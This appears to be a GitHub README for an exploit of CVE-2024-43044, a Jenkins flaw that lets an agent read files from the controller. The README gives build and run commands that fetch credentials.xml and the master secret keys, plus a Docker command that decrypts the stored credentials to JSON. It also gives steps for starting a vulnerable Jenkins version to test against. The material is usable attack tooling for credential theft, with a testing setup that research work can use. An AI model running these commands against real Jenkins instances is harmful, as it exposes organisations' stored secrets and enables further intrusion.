dacc4/cve-2024-43044-jenkins-credsExploit for CVE-2024-43044 enabling arbitrary file read from Jenkins controller to extract and decrypt credentials.xml using secret keys.
This is an exploit for CVE-2024-43044, an arbitrary file read that allows an agent to fetch files from the controller.
The exploit will use the vulnerability to read credentials.xml file and get secret keys to decrypt it.
Initial code : https://github.com/convisolabs/CVE-2024-43044-jenkins Original writeup : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
You can test it in vulnerable version using docker:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Once you have a jenkins runnning, setup an agent.